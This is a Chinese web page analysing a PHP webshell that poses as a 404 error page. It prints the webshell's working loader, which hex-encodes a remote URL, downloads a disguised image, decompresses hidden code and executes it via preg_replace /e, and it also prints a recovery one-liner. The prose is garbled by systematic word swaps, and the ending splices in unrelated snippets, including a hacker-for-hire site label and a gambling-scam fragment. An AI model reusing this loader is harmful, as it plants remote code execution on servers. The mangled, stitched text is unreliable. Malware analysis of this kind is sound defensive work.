Webshell代码如下:
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
要害看下面这句代码,
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
这儿履行之后其实是一张图片,解密出来的图片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真实的代码。最终调用preg_replace的修饰符e来履行歹意代码的。这儿履行以下句子来复原出歹意样本代码,
<?php echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649)); ?>
如图所示:
剖析这段代码,发现这是一个假装的404木马(这儿实在是太鄙陋了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:
首要我先看一下它的前端html代码,其中有这么一段js程序
document.onkeydown = function(e) { var theEvent = window.event || e; var code = theEvent.keyCode || theEvent.which; if (80 == code) { $("login").style.display = "block" } }
这儿它用document.onkeydown获取用户敲击键盘事情,当code等于80的时分显现login这个div,这儿查询了一下keyCode的对照表,查到80对应p和P键
所以触发webshell登陆需要按p键(不按P键页面便是一个空白页,看不到登陆框),如图所示:
再回到服务端php代码中,能够看到程序用的是对称加密,而且将登陆暗码作为加密key,代码如图所示:
再看init()的逻辑
如图所示,先看这句代码
$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731c f093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));
依据这个解密逻辑咱们能够推出,这儿其实是将字符串true做了以下加密处理,
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))
所以当输入正确暗码的时分@gzuncompress回来字符串true,然后程序调用setcookie给客户端回来$_COOKIE['key'],然后值得提一下的是后边这个exit('{"status":"on"}'),这儿它与前端代码联络很严密,咱们看前端有个callback函数,如下
function callback() { var json = eval("(" + this.responseText + ")"); if (json.status=='on'){ window.location.reload(); return; } if (json.notice) { $("notice").style.display = "block"; $("notice").innerHTML = json.notice; sideOut(); } }
这儿履行exit('{"status":"on"}')会回来json串{"status":"on"},此刻前端js代码clas *** ack()获取到此响应会履行window.location.reload()改写,再次恳求正好带上前面获取的cookie,然后履行判别COOKIE的逻辑,如图所示:
[1] [2] 黑客接单网
WEB安全缝隙中,与文件操作相关的缝隙类型就不少,在大部分的浸透测验过程中,上传文件(大、小马)是必不可少的一个流程,但是各式各样的防火墙阻拦了文件上传,遂收拾文件操作相关缝隙的各种姿态,如有不妥之处...
print ?=========================n?;360移动安全团队发现,凭借道有道广告SDK推广的软件,除了正常软件外,还存在很多的歹意软件,比方3.15曝光的色情视频类歹意软件...
图15 GFSK解调脚本作业图3. 对网关进行ARP诈骗,宣称自己是方针主机。 绑架因特网等级的BGP是十分困难的,由于它要求拜访鸿沟路由器。 为此,进犯者需求攻陷ISP,或许在ISP内部有共谋才干得...
在之前的文章《浸透测验中的Node.js——Downloader的完成》开源了一个运用Node.js完成Downloader的代码,扼要剖析在浸透测验中的运用思路。 Node.js的语法简略易懂,所以...
Windows Server 2008 R2 Itanium黑客接单平台补丁下载链接临场救火:Sigma规则https://github.com/spring-cloud/spring-cloud-c...
· https://www.shodan.io/search?query=port%3A3389+2003wls9_async_response.warExchange修复办法请问,被网络赌博被骗了二...